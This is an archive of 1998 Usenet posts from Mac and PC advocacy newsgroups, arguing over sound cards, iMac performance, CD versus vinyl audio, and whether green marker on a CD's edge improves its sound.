References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <kindall-1508981941230001@nic-c41-094.mw.mediaone.net> <joe.ragosta-1608980706240001@elk78.dol.net>
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 15:50:20 -0700
Message-ID: <35d76113.0@carrera>
Joe, even if you use crappy computer speakers, there are still several
advantages to the features offered by good PC sound cards:
- they will mix multiple channels in hardware
- they have programmable sample rate and bits/sample
so you don't have to resample on the fly.
- they have built-in MIDI voices
- they have programmable MIDI voices
- they can do some MIDI effects in hardware (reverb, chorus, etc.)
- they can do HRTF in hardware
Also, a fair number of people probably plug their computer's sound output
into their home stereo's amp.
> Granted, there are a few professionals who need better quality, but there
> are professional quality sound cards for Macs, as well.
True enough but you've already paid Apple for a card that you are no longer
going to use. Also, I don't believe that the Sound Manager has a layer which
abstracts away the underlying hardware. You should be able to do card-based
MIDI effects through QuickTime but I would imagine you would really have to
hack up the Sound Manager to get it to do some software based processing in
hardware. You'd probably also want to rewrite Sound Sprokets for your card
and, even then, some applications (especially games) wouldn't take advantage
of the hardware.
What Apple needs to do is find a good sound API (like A3D) and port it to
the Mac. The then need to make a nice hardware abtraction layer for it. Then
we can get really good sound cards for the Mac.
--
Brian Quinlan
quinlan@intergate.bc.ca
From: CJH <ifmtrx@inficad.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 10:14:31 -0700
Organization: Informatrix, Inc.
Message-ID: <35D864F5.8B4D58B9@inficad.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com>
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Stormer wrote:
> Hmmm... faster to set up?
>
> Depends on who does it... Only takes me a few seconds to set up my PC.
> >How fast you can get the computer set up. The Mac wins.
>
> >How fast a newbie can learn the system. The Mac wins.
>
> Really? I've been teaching PC's for years... Prove this fact please. I can
> teach a "newbie" to use linux right down to recompliling a kernel in less
> than a full day.
Linux? What the hell is a "kernel" and why does it need "recompiling?" A
better question: WHO CARES? Too bad all the PC owners I know don't have an
instructor like you. Most Mac users don't need one!!
> Or teach a newbie to use Win9x in less than an hour.
An hour to learn how to "use Win9x" to do what?
> Hell you cannot even use anything BUT the Mac OS on the iMac.
That's probably going to be one of its BEST selling points!
> >How fast you can get your work done. The Mac wins.
>
> Hmmm.. OK, run AutoCAD on your Mac! Whoops, Autodesk does not support Mac
> anymore.
So these "newbies" you teach are AutoCAD users, too, huh? I know some
"experienced" PC owners that STILL can't figure out MS Word!!
> Run SoftImage on your Mac, whoops no mac support there either. Run
> 3d Studio Max on your Mac, whoops no support there either. Looks like
> NOTHING I run works on a Mac!
Okay, that's ONE iMac Apple won't sell! It doesn't sound like you're anywhere
near their target market anyway!
> Does not win at all...
>
> >There are lots of benchmarks. Calling Jobs a liar because he chose >a
> benchmark that you personally don't like is a pretty clear indication >of
> your bias.
>
> There is NO accurate benchmark out there for comparing two COMPLETLY
> different OS's. Hell if I play Quake on by Intel box with a Voodoo 1 card
> I'm getting almost 90 fps in 800x600 mode. The same thing on the Mac with a
> Voodoo 1 card I am LUCKY to get 25 fps. Looks like the Intel box beats it
> silly.
Yep, those Intel boxes are really something, aren't they? You've made YOUR
choice, now sit back and watch the thousands of new users buy iMacs!
> Please, get back to me with REAL facts not Jobs trying to save his company.
Would you rather see him destroy it? Gee, I wonder why the Justice Department
is all over Gates' butt?
CJ
Date: Mon, 17 Aug 1998 13:20:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1708981320490001@0.0.0.0>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r8n9m$drb$1@mailhost.sign-tronic.dk> <gmgraves-1708980936410001@sf-usr1-49-177.dialup.slip.net>
In article <gmgraves-1708980936410001@sf-usr1-49-177.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6r8n9m$drb$1@mailhost.sign-tronic.dk>, erik@arbat.com wrote:
>
> > In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
> > >
> > > It helped, believe it or not, in a number of cases. I don't know where
> my green
> > > marker is now, but when CDs were relatively new, it did wonders. I
was part
> > > of several double-blind tests which proved conclusively that the green
> marker
> > > changed the sound -often for the better.
> >
> > You have a URL or a reference to this?
>
> What, do you think that all the world's info is on the web? I doubt that
> anything on green marking pens is posted anywhere. I haven't even seen
> one of the pens since before most people ever heard of the internet.
> >
> > Why didn't they just measure the error rate, instead?
>
> Because error rate never gave any conclusive results. The pen worked on
> SOME CDs. Others were not affected at all, and some (the better sounding
> ones -out of the box) were actually degraded in sound by the application
> of the pen. I had one DGG in particular of Richard Strauss' "Alpine
> Symphony" It was literally unlistenable before the application of the pen,
> but afterwards, while still not very good, it was at least listenable.
OK. If your CD was unlistenable, then that could be attributable to a
_ton_ of missed bits. It's quite possible that the green marker does do
just what someone claimed here--absorbing stray light from the laser
before it can mess up the signal.
I'm not arguing with your experience, just trying to figure out how it
could happen. From everything I can see, the only way it could matter is
if it's reducing the number of missed bits. Erik's right--if that's the
case, then it should be measurable much more easily than listening tests.
You're undoubtedly aware of how hard it is to do listening tests at the
level you're talking about. I remember an article from a year or two after
CDs started being widely used. They spent an entire page discussing how
they matched two systems for volume level and timing to make sure that the
systems were being evaluated evenly. It's not easy to do a high quality
listening test. It's easy to measure error rates.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Sun, 16 Aug 1998 14:19:06 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35D72295.1D53@bellatlantic.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com>
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Concerning the sound quality of audio CDs, Honathan Hendry
wrote (possibly sarcastic):
> You need to use a green marker on the edge of the CD.
to which George Graves responded:
> It helped, believe it or not ... I was part of several
> double-blind tests which proved conclusively that the
> green marker changed the sound - often for the better.
and Jacob Fuller followed up with:
> What exactly does the green marker do?
If the green marker were applied to the edge of the CD
it could easily change the amount of light scattered
around on the inside of the CD plastic. The scattered
light could be interfering with the CD players ability
to identify the binary data on the platter, and the green
boundry at the edge could be reducing the amount of scatterd
light (the CD use either red or infrared LED lasers, which
would be absorbed by a green filter).
Now, I have my doubts about this double-blind test, however,
since Mr. Graves says that "the green marker changed the
sound - often for the better" I deduce that the sound also
sometimes changed for the worse. It is easy to see how human
tests could be skewed to favor only changes for the better,
even in a double-blind test. If the test subjects were prone
to ignore changes in the sound quality for the worse, then
the test would show an improvement, with some of the green
marked CDs showing little change (as judged by the test
subjects) and other showing improvement.
It would be a better test if we could measure several quatities
that were related to good sound quality and show that those
quantities changed when the CDs were marked with the green marker.
It might be enough to show that, from a range of characteristics,
the marked CD showed a change, even if we didn't know what the
characteristics had to do, exactly, with percieved sound quality.
Of course, now we are completely off topic for these groups.
- Jeff Dutky
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 10:54:28 -0700
Organization: Oh, I only wish
Message-ID: <not-1708981054290001@ip-26-040.phx.primenet.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <kindall-1708980438260001@nic-c41-094.mw.mediaone.net>
Mail-Copies-To: never
In article <kindall-1708980438260001@nic-c41-094.mw.mediaone.net>,
kindall@mail.manual.com (Jerry Kindall) wrote:
> How would the CD be useless if you applied an opaque green marker on the
> edge? (You don't cover the whole underside of the CD with green marker!
> Eek. No, just the edges. You know, so your fingers turn green every time
> you handle one.)
The most vital track is the outside one--it tells the CD player how many
tracks to expect and the total time of the disc. Bad design, if you ask
me, since that is the track most likely to be scratched. I used to write
music reviews for a local paper, and every once and a while I'd get a cd
with a tiny nick taken out of the edge--the record companies used to *saw*
a notch in the CD case to mark it as a reference copy (supposedly not to
be sold, though I never was any trouble selling them) and sometimes the CD
would get nicked. They would just spin and spin and not give any track
information to the CD player, which would eventually give up and hand me
the NO CD message. Try it out with an old Bangles CD (or perhaps Yanni) if
you'd like--hit the outside edge with black permanent marker, or anything
opaque will work.
michael
--
"If you're bored, then you're boring"--Harvey Danger, Flagpole Sitta
Michael M. Eilers * Fearful Symmetry Designs * e-mail in headers
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: alt.dev.null
Date: Sun, 16 Aug 1998 11:43:12 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1ddt7dk.9a1s22bxngxsN@h209-21-28-225.ncal.verio.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net>
> > > > Since CD quality stereo is already better quality than 99% of people can
> > > > pick up, why do you need better than CD quality sound?
I said to myself, Perhaps I'm missing something by ignoring USENET the
past few months, and perhaps I should look in and see what the current
excitement is, said I...
Hmmm... A thread titled "APPLE"S MINDSHARE SKYROCKETING!@1!!!!". Well,
with all those capital letters and exclamation points, this must be
pretty exciting. I'll just check out the content...
A classic analog vs digital, transistor vs tube audio CD quality rant
fest. Oooooh! I'll be the Mac system, Intel, abd NeXT communities are
really, really interested in THIS!
Bah.
unsubscribe...
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Followup-To: alt.dev.null
Date: Sun, 16 Aug 1998 11:45:56 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1ddt7u6.1if59iigz3iwwN@h209-21-28-225.ncal.verio.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <asiufy-1508980125020001@200.229.243.200>
Alexandre A. S. <asiufy@uol.com.br> wrote:
> You shouldn't even start talking about soundcards for Macs. Macs
> are used in professional studios throughout the world, and even the
> built-in sound on Macs is very good.
As noted elsewhere in this morass of threads, you can't get really good
audio quality without using vacuum tubes. Apple hardware doesn't even
supply decent screen and plate voltage to their PCI slots, ruling out
the possibility of building truely professional quality third party
cards. Of course, no PC does this either...
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 13:15:03 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1608981315040001@sf-usr1-50-178.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com>
In article <35d6af93.40724865@news.iafrica.com>, cquirke@iafrica.com wrote:
> On Sat, 15 Aug 1998 01:38:22 -0300, asiufy@uol.com.br (Alexandre A.
> >In article <6r23ta$ea2$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >> In article <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net>,
>
> > Except that you're able to use just about any monitor with your
> >Mac. It DOESN'T have to be Apple's, as you might've implied.
> >Unfortunately, things are not the same for keyboard/mice, but now with
> >USB, I see that changing too.
>
> We can use any PC monitor, keyboard or mouse on the PC. The worst
> that can happen is some value-added features don't work, but then
> again, for us a second mouse button is standard already ;-)
>
> Where we have problems at times is in SVGA cards, sound cards and
> other alternative internal parts - a game that generally isn't even
> played on the Mac ("Why would you want to do that? The system comes
> with a 14400 bps modem and display adapter built in anyway!")
You're living in the past. No Macs come with 14400 modems any more
than current PCs come with 14400 modems. Most modern Mac's built in
"display adapters" are excellent. I took the ATI 24-bit accelerated
video card out of My Power Computing machine (a 7200 clone) because
the video supplied on the motherboard was better and faster.
>
> One of the defining things about PCs is that they have had expansion
> slots from day one.
Yeah sure. But the the first Mac with expansion slots (Mac II, 1987)
was Plug-N-Play from day one. Guess what? The NEWEST PC doesn't
have PNP which works anywhere nearly AS WELL as the PNP in the
VERY FIRST Mac IIs worked!
No having to pay a premium for SCSI, no paying
> extra for the models with PCI slots years after PCI was standard.
And with Macs no searching endlessly for the latest drivers, no
week-long fiddling with new peripherals trying to get them to
work, no BSOD (as in NT), no constant system destroying crashes
(al la Win95/8). Much more time spent doing ones work, and less
time spent fiddling with a fussy computer with a third-rate
system sold by a mega corporation which simply doesn't give a
shit about anything but winning.
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 16 Aug 1998 19:38:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r7cfp$4k1$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net>
In article <zeno-1608980451300001@pm51-30.magicnet.net>,
zeno@magicnet.net wrote:
> The Byte and other benchmarks are saying it. Jobs is just repeating the info.
Bytemarks are CPU/compiler benchmarks. They don't test the overall performance
of the machine.
--
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 13:02:04 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1608981302040001@sf-usr1-50-178.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com> <gmgraves-1508982006350001@sf-usr1-46-174.dialup.slip.net> <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net> <1ddugzy.11o0xhkylyofoN@ts3-01.tru.istar.ca>
In article <1ddugzy.11o0xhkylyofoN@ts3-01.tru.istar.ca>,
drmoss@fox.nstn.ca (drmoss@fox.nstn.ca) wrote:
> George Graves <gmgraves@slip.net> wrote:
>
> > Don't be ridiculous. OF course they sound better in you living room on
> > your vandersteens than they do on a pair of computer speakers. But
> > they also sound better on a $500 rack system than they do on a
> > $40,000 stereo. LPs, on the other hand, sound better on a $40,000
> > stereo system than they do ona $500 rack system. I should know, I have
> > a $40,000 stereo system.
> > >
> > > 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
> > > and and the entire range of human hearing (in fact, far beyond most
> > > adults' capabilities). Vinyl has a dynamic range of about 50 db, is
> > > extremely susceptible to noise, and is degraded by repeated playbacks.
> > > Also, it's very bulky and has a very limited playing time. No contest --
> > > the CD wins.
> >
> > I already conceded that CDs have wider dynamic range than do records.
> > but jesus, they sound like cartoons compared to good analog. No depth,
> > no real imaging, poor ambience, steely, unnnatural top end. You can have
> > the garbage (but I have to put up with them too. Homo the Sap has decided
> > that CDs like PC/Windows is "good enough". Once again leaving those who
> > demand excellence out in the cold).
> I know just what you mean, but I don't think you are stating it clearly.
> Wouldn't it be fair to say that a good clean LP will sound better with a
> better turntable, and cartridge, whilst an equivalent quality CD is less
> likely to benefit from further increases in resolution of playback
> equipment?
OK, fine.
> I have been down that road, and have bought expensive CD players that
> can reveal more detail (YBA CD2, Counterpoint DA11.5/DA10a) but which
> have ultimately disappointed for their lack of musicality. I always end
> up going back to an old Meridian 206; it's now out-of-fashion bitstream
> converter can't produce the detail of the others, but it makes me tap my
> feet and it certainly induces me to keep on listening. Whatever my
> conscious analytical judgements say, I find that a few weeks with one CD
> or another tells the story - am I spending all my spare time listening,
> or doing something else instead? I spend more time wanting to play music
> with the Meridian. That said, my modest turntable, a Rega Planar 3 with
> Shure V-15 cartridge, can easily outperform my much more expensive CD
> players.
I don't doubt it one bit. I know the Rega, and have used a V-15 extensively.
Should be a fine combination.
> Now to go on to your analogy - if Windows/CD are 'good enough' because
> they are the defacto standards, and Macintosh/LP are there for those who
> demand quality, there is one part of the analogy that doesn't hold up.
> In ease of use surely the mac is equivalent to the CD rather than the
> LP. Mac users can have better quality and ease of use. Seems daft to
> choose to use anything else doesn't it?
Well, I wasn't really making a strict analogy between the two. That
would be specious at best. But your point is certainly well taken.
The problem is that fussy as a hobby (as in the fussiness of record
players) is different from fussy because you HAVE TO in order to get
your work done (as in the fussiness of Windows).
George Graves
>
From: seano1@earthlink.net (Sean O'Flaherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Sun, 16 Aug 1998 18:29:48 -0700
Organization: EarthLink Network, Inc.
Message-ID: <seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>
In article <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>,
uthant@un.org (U Thant) wrote:
>Never mind that measurements of error correction taken before and after
>application of the pen don't change, people still hear a difference. Its
>one of those audio things that can't be measured.
But is it because of what they expect to hear? Try this ULR for another
take on this. http://snopes.simplenet.com/music/media/marker.htm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
From: drmoss@fox.nstn.ca (drmoss@fox.nstn.ca)
Message-ID: <1ddugzy.11o0xhkylyofoN@ts3-01.tru.istar.ca>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com> <gmgraves-1508982006350001@sf-usr1-46-174.dialup.slip.net> <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net>
Organization: The Army of the 12 Monkeys
IP2QtxR"D9n[YsP}rvTeWQ1osE
Date: Sun, 16 Aug 1998 11:26:05 GMT
NNTP-Posting-Date: Sun, 16 Aug 1998 07:26:05 EDT
George Graves <gmgraves@slip.net> wrote:
> Don't be ridiculous. OF course they sound better in you living room on
> your vandersteens than they do on a pair of computer speakers. But
> they also sound better on a $500 rack system than they do on a
> $40,000 stereo. LPs, on the other hand, sound better on a $40,000
> stereo system than they do ona $500 rack system. I should know, I have
> a $40,000 stereo system.
> >
> > 16 bit, 44.1 KHz is adequate to reproduce an extremely wide dynamic range
> > and and the entire range of human hearing (in fact, far beyond most
> > adults' capabilities). Vinyl has a dynamic range of about 50 db, is
> > extremely susceptible to noise, and is degraded by repeated playbacks.
> > Also, it's very bulky and has a very limited playing time. No contest --
> > the CD wins.
>
> I already conceded that CDs have wider dynamic range than do records.
> but jesus, they sound like cartoons compared to good analog. No depth,
> no real imaging, poor ambience, steely, unnnatural top end. You can have
> the garbage (but I have to put up with them too. Homo the Sap has decided
> that CDs like PC/Windows is "good enough". Once again leaving those who
> demand excellence out in the cold).
I know just what you mean, but I don't think you are stating it clearly.
Wouldn't it be fair to say that a good clean LP will sound better with a
better turntable, and cartridge, whilst an equivalent quality CD is less
likely to benefit from further increases in resolution of playback
equipment?
I have been down that road, and have bought expensive CD players that
can reveal more detail (YBA CD2, Counterpoint DA11.5/DA10a) but which
have ultimately disappointed for their lack of musicality. I always end
up going back to an old Meridian 206; it's now out-of-fashion bitstream
converter can't produce the detail of the others, but it makes me tap my
feet and it certainly induces me to keep on listening. Whatever my
conscious analytical judgements say, I find that a few weeks with one CD
or another tells the story - am I spending all my spare time listening,
or doing something else instead? I spend more time wanting to play music
with the Meridian. That said, my modest turntable, a Rega Planar 3 with
Shure V-15 cartridge, can easily outperform my much more expensive CD
players.
Now to go on to your analogy - if Windows/CD are 'good enough' because
they are the defacto standards, and Macintosh/LP are there for those who
demand quality, there is one part of the analogy that doesn't hold up.
In ease of use surely the mac is equivalent to the CD rather than the
LP. Mac users can have better quality and ease of use. Seems daft to
choose to use anything else doesn't it?
--
Chris
From: ev515o@hotxxxmail.com (Mayor Of R'lyeh)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Organization: City Of R'lyeh
Message-ID: <35d98440.15799568@news.netdirect.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Mon, 17 Aug 1998 19:29:08 GMT
NNTP-Posting-Date: Mon, 17 Aug 1998 14:29:08 EDT
On Mon, 17 Aug 1998 10:17:38 -0700, CJH <ifmtrx@inficad.com> chose to
bless us all with this bit of wisdom:
>William Frisbee wrote:
>
>> >Ease of use. Covered extensively on my web site with URLs.
>>
>> Ease of use? Ease of use involves many things, like being able to get
>> hardware for a Mac. Try changing your sound card or your video card. There
>> are not very many available for the Mac. On the Intel side of the world I
>> can get thousands of video cards and hundreds of sound cards, not to mention
>> video capture, tuners, MPEG converters yadda yadda yadda, that is EASE of
>> use to me. Something goes wrong or outta date, I go down to my local
>> hardware store and pick it up and slap it in. No problems, no issues....
>
